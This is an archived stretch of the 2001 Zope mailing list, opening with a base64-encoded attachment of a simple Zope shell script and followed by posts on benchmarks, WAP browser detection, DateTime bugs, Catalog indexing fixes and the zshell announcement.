CXJldHVybiBOb25lCSMgRXJyb3INCglyZXR1cm4gY3VyZGlyDQoNCnByaW50 IGNvbnRleHQuc3RhbmRhcmRfaHRtbF9oZWFkZXIuZG9jdW1lbnRfc3JjKCkN Cg0KaWYgY29udGV4dC5SRVFVRVNULmhhc19rZXkoImNvbW1hbmRzIikgOg0K CWNvbW1hbmRzID0gZmlsdGVyKE5vbmUsIGNvbnRleHQuUkVRVUVTVFsiY29t bWFuZHMiXSkNCmVsc2UgOg0KCWNvbW1hbmRzID0gW10NCg0KcHJpbnQgJzxw Pjxmb3JtIGFjdGlvbj0ienNoZWxsIiBtZXRob2Q9IlBPU1QiPicNCnByaW50 ICdFbnRlciB5b3VyIGNvbW1hbmRzIGJlbG93Ojxicj4nDQpwcmludCAnPHRl eHRhcmVhIHJvd3M9IjEwIiBjb2xzPSI1MCIgd3JhcD0icGh5c2ljYWwiIG5h bWU9ImNvbW1hbmRzOmxpbmVzIj4lczwvdGV4dGFyZWE+JyAlIHN0cmluZy5q b2luKGNvbW1hbmRzLCAnXG4nKQ0KcHJpbnQgJzxicj48aW5wdXQgdHlwZT0i c3VibWl0IiBuYW1lPSJydW4iIHZhbHVlPSJSdW4gISIgLz4nDQpwcmludCAn PC9mb3JtPjwvcD4nDQoNCmlmIGNvbW1hbmRzIDoNCglwcmludCAnPGhyIG5v c2hhZGU9Im5vc2hhZGUiIHdpZHRoPSIzMyUiIC8+PHA+UmVzdWx0czonDQoJ Y3VycmVudCA9IGNvbnRleHQNCglmb3IgY29tbWFuZCBpbiBjb21tYW5kcyA6 DQoJCWNtZCA9IGNvbW1hbmRbOjJdDQoJCXByaW50ICc8YnI+PGI+JXM6PC9i PiAnICUgY21kDQoJCWlmIGNtZCA9PSAnY2QnIDoNCgkJCXBhdGggPSBjb21t YW5kWzM6XQ0KCQkJbmV3ZGlyID0gdG9PYmplY3QoY3VycmVudCwgcGF0aCkN CgkJCWlmIChuZXdkaXIgaXMgbm90IE5vbmUpIGFuZCBoYXNhdHRyKG5ld2Rp ciwgJ21ldGFfdHlwZScpIGFuZCAobmV3ZGlyLm1ldGFfdHlwZSA9PSAnRm9s ZGVyJykgOg0KCQkJCWN1cnJlbnQgPSBuZXdkaXINCgkJCQlwcmludCAnTmV3 IGZvbGRlciBpcyA8ZW0+PGI+LyVzPC9iPjwvZW0+JyAlIG5ld2Rpci5hYnNv bHV0ZV91cmwocmVsYXRpdmU9MSkNCgkJCWVsc2UgOg0KCQkJCXByaW50ICdJ bmNvcnJlY3QgcGF0aCA8ZW0+PGI+JXM8L2I+PC9lbT4nICUgcGF0aA0KCQkJ CXByaW50ICdbJXNdJyAlIHJlcHIobmV3ZGlyKQ0KCQllbGlmIChjbWQgPT0g J212Jykgb3IgKGNtZCA9PSAnY3AnKSA6DQoJCQlhcmdzID0gc3RyaW5nLnNw bGl0KGNvbW1hbmRbMzpdKQ0KCQkJaWYgbGVuKGFyZ3MpIDwgMiA6DQoJCQkJ cHJpbnQgJ0luY29ycmVjdCBudW1iZXIgb2YgYXJndW1lbnRzJw0KCQkJZWxz ZSA6DQoJCQkJZHN0ID0gYXJnc1stMV0NCgkJCQlzcmNzID0gYXJnc1s6LTFd DQoJCQkJb2JqaWRzID0gW10NCgkJCQlmb3Igc3JjIGluIHNyY3MgOg0KCQkJ CQlpZiAnLycgaW4gc3JjIDoNCgkJCQkJCXByaW50ICdQYXRocyBpbiBzb3Vy Y2Ugb2JqZWN0cyBhcmUgbm90IGFsbG93ZWQgYXQgdGhpcyB0aW1lOiA8ZW0+ PGI+JXM8L2I+PC9lbT4nICUgc3JjDQoJCQkJCWVsc2UgOg0KCQkJCQkJb2Jq aWRzLmFwcGVuZChzcmMpDQoJCQkJZHN0byA9IHRvT2JqZWN0KGN1cnJlbnQs IGRzdCkNCgkJCQlpZiBkc3RvIGlzIE5vbmUgOg0KCQkJCQlwcmludCAnSW5j b3JyZWN0IGRlc3RpbmF0aW9uIGFyZ3VtZW50IDxlbT48Yj4lczwvYj48L2Vt PicgJSBkc3QNCgkJCQkJY29udGludWUNCgkJCQlpZiBkc3RvLm1ldGFfdHlw ZSAhPSAnRm9sZGVyJyA6DQoJCQkJCXByaW50ICdEZXN0aW5hdGlvbiA8ZW0+ PGI+JXM8L2I+PC9lbT4gaXMgbm90IGEgZm9sZGVyaXNoIG9iamVjdCcgJSBk c3QNCgkJCQkJY29udGludWUNCgkJCQlpZiBjbWQgPT0gJ2NwJyA6DQoJCQkJ CWNsaXBib2FyZCA9IGN1cnJlbnQubWFuYWdlX2NvcHlPYmplY3RzKGlkcyA9 IG9iamlkcykNCgkJCQkJYWN0aW9uID0gJ2NvcGllZCcNCgkJCQllbHNlIDoN CgkJCQkJY2xpcGJvYXJkID0gY3VycmVudC5tYW5hZ2VfY3V0T2JqZWN0cyhp ZHMgPSBvYmppZHMpDQoJCQkJCWFjdGlvbiA9ICdtb3ZlZCcNCgkJCQlkc3Rv Lm1hbmFnZV9wYXN0ZU9iamVjdHMoY2JfY29weV9kYXRhID0gY2xpcGJvYXJk KQ0KCQkJCWZvciBvaWQgaW4gb2JqaWRzIDoNCgkJCQkJcHJpbnQgJzxicj4l cyAlcycgJSAob2lkLCBhY3Rpb24pDQoJCWVsaWYgY21kID09ICdybScgOg0K CQkJb2JqcGF0aHMgPSBmaWx0ZXIoTm9uZSwgc3RyaW5nLnNwbGl0KHN0cmlu Zy5zdHJpcChjb21tYW5kWzM6XSkpKQ0KCQkJZm9yIG9ianBhdGggaW4gb2Jq cGF0aHMgOg0KCQkJCW9iamVjdCA9IHRvT2JqZWN0KGN1cnJlbnQsIG9ianBh dGgpDQoJCQkJaWYgb2JqZWN0IGlzIE5vbmUgOg0KCQkJCQlwcmludCAnSW5j b3JyZWN0IHBhdGggPGVtPjxiPiVzPC9iPjwvZW0+JyAlIG9ianBhdGgNCgkJ CQllbHNlIDoNCgkJCQkJaWYgaGFzYXR0cihvYmplY3QsICdhcV9wYXJlbnQn KSA6DQoJCQkJCQlvYmplY3QuYXFfcGFyZW50Lm1hbmFnZV9kZWxPYmplY3Rz KGlkcyA9IFtvYmplY3QuZ2V0SWQoKV0pDQoJCQkJCQlwcmludCAiPGJyPi8l cyByZW1vdmVkIiAlIG9iamVjdC5hYnNvbHV0ZV91cmwocmVsYXRpdmU9MSkN CgkJZWxpZiBjbWQgPT0gJ2xzJyA6DQoJCQltZXRhdHlwZXMgPSBmaWx0ZXIo Tm9uZSwgc3RyaW5nLnNwbGl0KHN0cmluZy5zdHJpcChjb21tYW5kWzM6XSkp KQ0KCQkJaWYgbWV0YXR5cGVzIDoNCgkJCQlvYmplY3RzID0gY3VycmVudC5v YmplY3RWYWx1ZXMobWV0YXR5cGVzKQ0KCQkJZWxzZSA6DQoJCQkJb2JqZWN0 cyA9IGN1cnJlbnQub2JqZWN0VmFsdWVzKCkNCgkJCWlmIG9iamVjdHMgOg0K CQkJCXByaW50ICc8dGFibGUgYm9yZGVyPSIxIj48dHI+PHRoPklkPC90aD48 dGg+VGl0bGU8L3RoPjx0aD5NZXRhVHlwZTwvdGg+PC90cj4nDQoJCQkJZm9y IG9iamVjdCBpbiBvYmplY3RzIDoNCgkJCQkJdGl0bGUgPSBvYmplY3QudGl0 bGUgb3IgJyZuYnNwOycNCgkJCQkJcHJpbnQgJzx0cj48dGQ+JXM8L3RkPjx0 ZD4lczwvdGQ+PHRkPiVzPC90ZD48L3RyPicgJSAob2JqZWN0LmdldElkKCks IHRpdGxlLCBvYmplY3QubWV0YV90eXBlKQ0KCQkJCXByaW50ICc8L3RhYmxl PicNCgkJZWxzZSA6DQoJCQlwcmludCAnVW5rbm93biBjb21tYW5kIDxlbT48 Yj4lczwvYj48L2VtPicgJSBjb21tYW5kDQoJcHJpbnQgJzwvcD4nDQoNCnBy aW50IGNvbnRleHQuc3RhbmRhcmRfaHRtbF9mb290ZXIuZG9jdW1lbnRfc3Jj KCkNCnJldHVybiBwcmludGVkDQo= --889292347-2026565306-988884344=:31564-- From bz@bwanazulia.com Thu May 3 11:07:16 2001 From: bz@bwanazulia.com (BZ) Date: Thu, 3 May 2001 06:07:16 -0400 Subject: [Zope] TUX and Zope? + ab results In-Reply-To: <20010503010124.21782.qmail@web4605.mail.yahoo.com> References: <20010503010124.21782.qmail@web4605.mail.yahoo.com> Message-ID: I ran some AB results the other day on Mac OS X, 512 MB Memory and Zope 2.3.1 with Python 2.x and what was interesting was that as I increased the concurrent number the results between Zope and Apache got closer and closer. They started off like your results but as I increased it Apache's number fell and Zope's number increased to the point where they were at the 60/80 range. This was just a on a plain index.html and index_html files but I thought it a point. You might want to try it. The other thing is that while Apache can handle the hits like that you have to consider how Zope scales with ZEO. Boxes are cheap. BZ At 6:01 PM -0700 5/2/01, Jason Byron wrote: >This may sound silly, but do you think it would be >feasably to get some more speed out of Zope by >combining it with TUX (the linux kernel based web >server) ? Maybe build the python interpreter into >it ? > >I know, speed isn't important, abstraction is better, >yada yada yada. It's just totally cool to see results >like this, and I want to make Zope as cool as >possible. > > >1000 requests, 100 at a time > >TUX 2898.55 Requests per second >AOLserver 603.14 Requests per second >Apache 502.51 Requests per second >Zope 60.57 Requests per second > >bear in mind this is my piece of crap celery 700 >with 128Megs RAM > > > > > > >__________________________________________________ >Do You Yahoo!? >Yahoo! Auctions - buy the things you want at great prices >http://auctions.yahoo.com/ > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Thu May 3 11:10:33 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 03 May 2001 12:10:33 +0200 Subject: [Zope] Browser sniffing for wireless devices In-Reply-To: Message-ID: <1049355810.988891833@BUZZER> Hi Chris, first let me do some shouting: "DONT USE USERAGENT STRING FOR DETECTING CAPABILITIES" ;))) This is highly forbidden and very stupid (this is the cause of all useragents calling themself "Mozilla" ;) Ok, now we are so far, how do we get the information? The useragent provides a header called "accept", which gives you the information what kind of documents it wants. Most developers use this field appropriate. (There are exceptions like M$ IE, which sends */* as acceptable mime-type, which is obviously wrong.) However, every WAP-Device I came accross so far uses text/vnd.wap.wml and stuff in its accept-header. All other devices are considerably broken. The correct implementation would be to negotiate with what you have (html, wml) and what the user-agent accepts. This would fail with IE, since it accepts all but cannot render WML, so you have to treat internally: "if it accepts explicitely wml, it gets wml, if not, it gets html" So you only have to scan for */vnd.wap* in the accept-header, like that: call your wml-producing object here (dont forget to set the appropriate mime-type and watch your encoding) html-rendering here Ok, the best solution would be not using dtml for this :) HTH Tino Wildenhain --On Mittwoch, 2. Mai 2001 19:05 +0000 Chris Muldrow wrote: > Anyone doing browser sniffing with Zope to determine whether a user is > coming in with and HDML or WML-enabled phone? I've got some leads on this, > but I REALLY don't want to have to check for every USER_AGENT available. > Is there a good way to check and see A) if it's a WML device B) If not, > if it's an HDML device C) If it's not, is it an HTML device? > > AND another wireless Zope conundrum. I'm serving some HDML pages from > Zope. When I feed a Content-Type: text/x-hdml with the page, it doesn't > show up on my Verizon Motorola 2260 phone. When I don't send the > content-type, it does show up. The opposite is true on the Phone.com SDK > phone browser--without a content-type, it chokes, but with a content > type, it works. Any > enlightenment? > > Thankee! > -- Chris Muldrow, muldrow@mac.com > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From michel@titus.u-strasbg.fr Thu May 3 11:20:27 2001 From: michel@titus.u-strasbg.fr (Michel) Date: Thu, 03 May 2001 12:20:27 +0200 Subject: [Zope] Date calculation bug Message-ID: <10105031131.AA10111@porgy> Hello, I execute this DTML Method : Now :
30 minutes :
0.020832 is the result of (1 day / 24 hours / 60 minutes) * 30 minutes I launched it at 10H35 : Now : 2001/05/03 10:35:03.05544 GMT+1 30 minutes : 2001/05/03 10:05:02.94628 GMT+1 I received 10:05 instead of 11:05 I launched it again at 12H20 : Now : 2001/05/03 12:20:52.6986 GMT+1 30 minutes : 2001/05/03 11:50:52.5834 GMT+1 I received 11:50 instead of 12:50 I think there is a bug here or I made a mistake ? OFFNER Michel IGBMC France From grizel@mouli.net Thu May 3 11:29:28 2001 From: grizel@mouli.net (Pierre-Julien Grizel) Date: Thu, 03 May 2001 12:29:28 +0200 Subject: [Zope] how to know if an object is an objectmanager References: Message-ID: <3AF13308.87513A1A@mouli.net> Hi, You can use the Python builtin issubclass : ex : if issubclass(object.__class__, ObjectManager): xxx Hope this helps, Regards, P.-J. Jerome Alet wrote: > > Hi, > > I'm writing something generic in a python script which has to test if an > object is an objectmanager or not, since I want it to work with Folders > but also with user defined types which inherit from objectmanager. > > How can I do that ? > > thanks. > > Jerome Alet - alet@unice.fr - http://cortex.unice.fr/~jerome > Fac de Medecine de Nice http://wwwmed.unice.fr > Tel: (+33) 4 93 37 76 30 Fax: (+33) 4 93 53 15 15 > 28 Avenue de Valombrose - 06107 NICE Cedex 2 - FRANCE > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) -- If the only tool you have is a hammer, you tend to see every problem as a nail. Si la unica herramita te tienes es un martillo, tendras tendancia a ver cada problema como un clavo. Wenn Ihnen als einziges Werkzeug ein Hammer zur Verfügung steht, neigen Sie dazu, jedes Problem als Nagel zu betrachten. Si le seul outil dont vous disposez est un marteau, vous avez tendance à voir chaque problème comme un clou. --Abraham Maslow From alet@unice.fr Thu May 3 11:33:29 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 12:33:29 +0200 (MET DST) Subject: [Zope] how to know if an object is an objectmanager In-Reply-To: <3AF13308.87513A1A@mouli.net> Message-ID: On Thu, 3 May 2001, Pierre-Julien Grizel wrote: > You can use the Python builtin issubclass : > ex : > if issubclass(object.__class__, ObjectManager): > xxx > Jerome Alet wrote: > > > > I'm writing something generic in a python script This doesn't work in a python script (name starting with "_"). thanks anyway. Jerome Alet From tdickenson@geminidataloggers.com Thu May 3 11:51:47 2001 From: tdickenson@geminidataloggers.com (Toby Dickenson) Date: Thu, 03 May 2001 11:51:47 +0100 Subject: [Zope] Announce - Audio Product In-Reply-To: <000501c0d380$dcd93170$ae03a8c0@activestate.com> References: <000501c0d380$dcd93170$ae03a8c0@activestate.com> Message-ID: On Wed, 2 May 2001 20:26:37 -0700, "Andy McKay" wrote: >> Several gigs of RAM? Cool! Maybe someone from DC can detail what = goes on >> at startup that might take alot of time. > >When you start a ZODB up strictly, FileStorage. ZODB on BerkelyStorage is very much better. >, an index is built of every object inside the ZODB >so it that can call it again later, effectively it reads through the = entire >DB. With FileStorage, This only happens if zope is not shut down cleanly. A clean shut down will leave a var/Data.fs.index file. On the next startup it loads this index if it is present, or scans the whole Data.fs if it is not. Toby Dickenson tdickenson@geminidataloggers.com From hofmann@isl.org Thu May 3 12:06:18 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 13:06:18 +0200 Subject: [Zope] Displaying the current date In-Reply-To: <3AF12EA9.B98B3BCF@qbcon.com> Message-ID: <3AF1578D.14926.31376ACD@localhost> > Hi, > How do I display the current server-side date with DTML? Greetings Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From hofmann@isl.org Thu May 3 12:10:41 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 13:10:41 +0200 Subject: [Zope] Date calculation bug In-Reply-To: <10105031131.AA10111@porgy> Message-ID: <3AF1588A.12662.313B477D@localhost> Hi, > > > I launched it at 10H35 : > Now : 2001/05/03 10:35:03.05544 GMT+1=20 > 30 minutes : 2001/05/03 10:05:02.94628 GMT+1=20 > I received 10:05 instead of 11:05 I don't know whats wrong here, but have you tried a - 0.020832 instead of= a +=20 ? When this works the problem is that add/subtraction will change the=20 TimeZone instead of increasing the Time!! (Only an idea - nothing more!) Greetings Kai =20 --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From chrism@digicool.com Thu May 3 12:17:43 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 03 May 2001 07:17:43 -0400 Subject: [Zope] Zope 2.3.1 Catalog is there a bad bug in this? References: Message-ID: <3AF13E57.B3C16FF8@digicool.com> Yikes! I think you found a Catalog bug. Sorry about this. I don't know how this didn't show up before, it's a pretty obvious bug. What's happening here is that you're trying to index a method of an object that requires an argument. The Catalog can't provide it an argument because it's not omniscient. ;-) The Catalog (actually TextIndexes) should catch this and not fail like it does currently. But it still won't Catalog the results of the method. The traceback doesn't provide the index name, so I'm not sure which index this is happening on, but it's definitely a TextIndex, and it's not any of the default indexes. Try doing this: - in line 326 of lib/python/SearchIndex/UnTextIndex.py, change: except AttributeError: to except (AttributeError, TypeError): - then do an "Update Catalog". (This bugfix will be in the next Zope release). Your recatalog should no longer fail. When this is done, you should investigate your indexes to see if you're mistakenly attempting to catalog a method that needs arguments, and if this is fouling up your application by neglecting to index objects that should be indexed. Also, it looks like you upgraded to 2.3.1. The Catalog had some pretty major bugs up til 2.3.1b1. Thus, I'd suggest upgrading to 2.3.2, deleting the catalog, and rebuilding it via "Find Objects" if it's feasible to do so. There is also an upgrade process for older Catalogs detailed in the CHANGES.txt if this isn't feasible. The Catalog in 2.3.2 is pretty stable (except for the bug in line 326 of UnTextIndex.py, which you'll need to fix in there too ;-) - C Max M wrote: > > > From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf > > Of Chris McDonough > > > I don't know what version you upgraded to, but doing an "Update Catalog" > > on the Advanced tab should rid your Catalog of this problem. The state > > in older catalogs is an unknown, and doing this puts all the moons in > > the right order. > > I tried that, but then I get the below error: > > Error Type: TypeError > Error Value: not enough arguments; expected 2, got 1> > > Traceback (innermost last): > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line > 223, in publish_module > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line > 187, in publish > File /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Zope/__init__.py, > line 221, in zpublisher_exception_hook > (Object: Traversable) > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line > 171, in publish > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/mapply.py, line > 160, in mapply > (Object: manage_catalogReindex) > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/ZPublisher/Publish.py, line > 112, in call_object > (Object: manage_catalogReindex) > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Products/ZCatalog/ZCatalog. > py, line 325, in manage_catalogReindex > (Object: Traversable) > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Products/ZCatalog/ZCatalog. > py, line 429, in catalog_object > (Object: Traversable) > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/Products/ZCatalog/Catalog.p > y, line 448, in catalogObject > File > /usr/local/zope/Zope-2.3.1-linux2-x86/lib/python/SearchIndex/UnTextIndex.py, > line 323, in index_object > TypeError: (see above) > > Max M. W. Rasmussen, Denmark. New Media Director > private: maxmcorp@worldonline.dk work: maxm@normik.dk > ----------------------------------------------------- > Shipping software is an unnatural act > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From rhess@bic.ch Thu May 3 12:26:53 2001 From: rhess@bic.ch (Flynt) Date: Thu, 03 May 2001 13:26:53 +0200 Subject: [Zope] Displaying the current date References: <3AF12EA9.B98B3BCF@qbcon.com> Message-ID: <3AF1407D.EEAE0428@bic.ch> Andreas Pauley wrote: > > Hi, Hi Andreas For date and time there are a bunch of different formats available, i.g: or and so on. Have a look into the DTML/API references, for example in the appendix of the Zope Book, or in the Help Interface of your Zope management screen (search for "date" for example). Regards Flynt > How do I display the current server-side date with DTML? > > Thanks, > Andreas. > From in@konsylo.de Thu May 3 12:41:30 2001 From: in@konsylo.de (Isabelle Neunreither) Date: Thu, 3 May 2001 13:41:30 +0200 Subject: [Zope] DocBook Samples: no security assertions error Message-ID: <000a01c0d3c5$ff110f20$3301a8c0@rubis> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C0D3D6.C268E410 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, As i try to view the sampleChapter of the SampleDocbookDocs, i've been = asked to give my password! I gave my password, but it didn't work. I = clicked of cancel and i saw following error: "Access denied for = /users/in/SampleDocbookDocs/sampleChapter/e1986/CharacterData/getData = because its container, = /users/in/SampleDocbookDocs/sampleChapter/e1986/CharacterData, has no = security assertions." Can someone help me. I don't found information about this problem and = i'm new with zope and python. Thanks in advance. Cheers, Isabelle ------=_NextPart_000_0007_01C0D3D6.C268E410 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
As i try to view the sampleChapter of = the=20 SampleDocbookDocs, i've been asked to give my password! I gave my = password, but=20 it didn't work. I clicked of cancel and i saw following = error:
 
"Access denied for=20 /users/in/SampleDocbookDocs/sampleChapter/e1986/CharacterData/getData = because=20 its container, = /users/in/SampleDocbookDocs/sampleChapter/e1986/CharacterData,=20 has no security assertions."
 
Can someone help me. I don't found = information=20 about this problem and i'm new with zope and python.
Thanks in advance.
 
Cheers,
Isabelle
------=_NextPart_000_0007_01C0D3D6.C268E410-- From jens@digicool.com Thu May 3 12:41:14 2001 From: jens@digicool.com (Jens Vagelpohl) Date: Thu, 03 May 2001 07:41:14 -0400 Subject: [Zope] Making users work In-Reply-To: <3AF0F193.55F4EF9F@symbian.com> Message-ID: if the user folder does not have cookie-based authentication built in you're out of luck. you can't somehow attach a login form to any user folder if it does not provide that facility itself. i'm not sure what "only posting is restricted" means. posting what to where? are you creating anything in zope? are you talking weblog? jens On 5/3/01 1:50, "Malcolm Box" wrote: > Jens, > > Thanks for the pointer to the userfolders. > > I have already looked at these, but my questions is perhaps a level higher > (or my understanding a level lower). Given a userfolder installed, I don't > see how to link up my site to it, so that only posting is restricted and the > authentication is via a webform rather than the default HTTP authentication. > > Any pointers/DTML-snippets in those areas welcome. > > Regards, > > Malcolm > > Jens Vagelpohl wrote: > >> malcolm, >> >> there are user folders that can talk to windoze, you might want to look at >> this product: >> >> http://www.zope.org/Members/jephte/jcNTUserFolder >> >> ...or use the User management download section to browse all available user >> folder combinations at: >> >> http://www.zope.org/Products/user_management >> >> jens >> >> On 5/2/01 1:43, "Malcolm Box" wrote: >> >>> Hi all, >>> >>> As a Zope newbie (sorry!), I'm deeply confused by how to make users work the >>> way I want. >>> >>> The site I am developing is an "ideas" site, where people can vote on ideas >>> and post new ideas. What I want to achieve is that everyone can access the >>> content or vote anonymously, but to post they have to log in. As this is an >>> intranet site, the WinNT domain controller already has a list of every >>> possible user and a password, so I want to use this to authenticate who >>> people are, and I certainly don't want to have to create and maintain a Zope >>> user for each and every person in the organization! >>> >>> When people try to post without logging in, I want to send them to a page >>> explaining the login requirements and giving them a login form, rather than >>> popping up a http authenticate dialog. >>> >>> To say that I have no clue how to go about this is an understatement. I >>> think there are three parts to this - one is the login form, the other is >>> setting the right permissions on the posting form and the third is accessing >>> the NT user database. I've looked at LoginManager, acl_users and various >>> howtos, but I can't work out how to put it all together, despite my feeling >>> that it's all there somewhere :-) >>> >>> So could anyone outline how to go about this - pointers to dtml source, >>> howtos etc gratefully received. >>> >>> Cheers, >>> >>> Malcolm From jasonic@nomadicsltd.com Thu May 3 13:18:04 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Thu, 3 May 2001 08:18:04 -0400 Subject: [Zope] [ANN] zshell: The Zope Shell References: Message-ID: <005901c0d3cb$1b4b10a0$c3090740@megapathdsl.net> > I'm pleased to announce you the Zope Shell version 0.001. Jerome That is beautiful!! Using 'ls' in Zope makes one thing about what it is in new ways.. its an interesting paradigm mapping. It would be nice to show depth and complexity via 'ls' Similar to ls -la etc.. How many folder-like containers lie within? How many objects are in them? Who owns them How big Piping would be cool.. 'grep' would be lovely too ls -l | grep '^d' Perhaps ZopeShell grep is what is needed to manage permissions ? oh my you have started something VirtualShellMonster:-) Dreams_Department I was just looking again at lightening fast, tiny RDBMS called Kdb from Kx Systems and wondering about how it might work with Zope. http://www.kx.com download and play around.. Now playing with your new shell really makes me wonder serisouly about Zope interpreter. One can use python to but not at the same time as Zope is running. So I gguess the reick woudl be to harness the two ideas. Youtrs is cool becuae the semantic is well understood [up to a point] In zope it takes a long time to gather a familiar consistent vocabulary, and it still lacks the concise simplicity of shellscripts. I wonder if there if there's some meaningful way to integrate your 'jaxml' code into all this. So that one can create xml on the fly inside of the environemnt it is describing. I have played with jaml a little as a means to create Zopescripts and then tested with various XML parsing tools in Zope. I was exploring was how to quickly 'sketch' an outline zope site. If you don't liek throw it away adn satrt again. If it is good then flesh it out.. It is very boring to click on all those 'OK' buttons and watch the HTML screen keep redrawing. Sitting with potential clients for Zopesites really brings this home, I notice that what one really wants to do is take a few lines of compact code and immediately generate the named folders with simple properties, and dummy dethods/documents etc. Saves lots of Time add and very useful templating and Zope design asset. in other words jaxml meets mkdir [folder] touch [method|document] meets ParsedXML ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From alet@unice.fr Thu May 3 13:42:11 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 14:42:11 +0200 (MET DST) Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <005901c0d3cb$1b4b10a0$c3090740@megapathdsl.net> Message-ID: On Thu, 3 May 2001, Jason Cunliffe wrote: > > I'm pleased to announce you the Zope Shell version 0.001. > > That is beautiful!! Thanks a lot ! I've desesperatly searched for something like that on zope.org this morning but without luck, so I've written my own :-) I was surprised to not find anything similar. > Using 'ls' in Zope makes one thing about what it is in new ways.. its an > interesting paradigm mapping. It would be nice to show depth and complexity > via 'ls' > > Similar to ls -la etc.. it was just a first shot. expect it to be more complex/powerful soon. > Piping would be cool.. YES it would ! > 'grep' would be lovely too yes but without re it will be either difficult or not powerful. I suppose I'll recode all in a Python Zope product, which wouls solve the problem. > Now playing with your new shell really makes me wonder serisouly about Zope > interpreter. One can use python to but not at the same time as Zope is > running. So I gguess the reick woudl be to harness the two ideas. Youtrs is > cool becuae the semantic is well understood [up to a point] In zope it takes > a long time to gather a familiar consistent vocabulary, and it still lacks > the concise simplicity of shellscripts. > > I wonder if there if there's some meaningful way to integrate your 'jaxml' > code into all this. So that one can create xml on the fly inside of the > environemnt it is describing. I have played with jaml a little as a means to > create Zopescripts and then tested with various XML parsing tools in Zope. Not done that yet, but was thinking to do something like an AutoXMLDocument with jaxml (http://cortex.unice.fr/~jerome/jaxml/), a document which creates its own tags on demand. > It is very boring to click on all those 'OK' buttons and watch the HTML YES it is, that's why I've made the previous feature request yesterday, and coded ZopeShell today. > screen keep redrawing. Sitting with potential clients for Zopesites really > brings this home, I notice that what one really wants to do is take a few > lines of compact code and immediately generate the named folders with simple > properties, and dummy dethods/documents etc. Saves lots of Time add and very > useful templating and Zope design asset. I think we need some basic zshell commands: the five following commands already work: ls to list objects cp to copy objects mv to move objects (which should work to rename things too but doesn't yet) rm to delete objects cd (should a cd to a non ObjectManager object be allowed ? probably yes if we want to use grep on its contents ;-) it would be very nice to have: grep to search in objects contents cut (not the Unix cut command, think about cut&paste) copy paste id (return the id of the current object) title (return the title of the current object) prop return some or all properties for the current object (id and title are just shortcuts) chmod to change permissions takeown to take ownership, since changing it is impossible AFAIK view to view the object edit to edit it tab to access a specific tab for the object (view and edit are just shortcuts) find to search for objects Some things to also have: piping wildcards the use of '.' or preferably '->' (no confusion with some ids) to access objects' attributes e.g.: grep foo *->someproperty would search for string 'foo' in all objects's property named someproperty. And somewhere in the future: if and for !!! Any comments or more commands needed ? Feel free to send them. I'm curently reorganising zshell's source, expect something more complete soon. bye, and thanks for the feedback. Jerome Alet From chrism@digicool.com Thu May 3 13:53:15 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 3 May 2001 08:53:15 -0400 Subject: [Zope] [ANN] zshell: The Zope Shell References: <005901c0d3cb$1b4b10a0$c3090740@megapathdsl.net> Message-ID: <001501c0d3d0$05856360$11be643f@kurtz> > Now playing with your new shell really makes me wonder serisouly about Zope > interpreter. One can use python to but not at the same time as Zope is > running. Actually, this isn't true. [chrism@serenade chrism]$ cd sandboxes/CMFTest/ [chrism@serenade CMFTest]$ ls CVS ZServer lib utilities wo_pcgi.py zpasswd.py Extensions doc pcgi var wo_pcgi.pyc zpasswd.pyc LICENSE.txt import start w_pcgi.py z2.py README.txt inst stop w_pcgi.pyc z2.pyc [chrism@serenade CMFTest]$ cd lib/python/ [chrism@serenade python]$ python Python 1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66 19990314/Linux (egcs - on linux-i386 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> import Zope >>> app = Zope.app() >>> 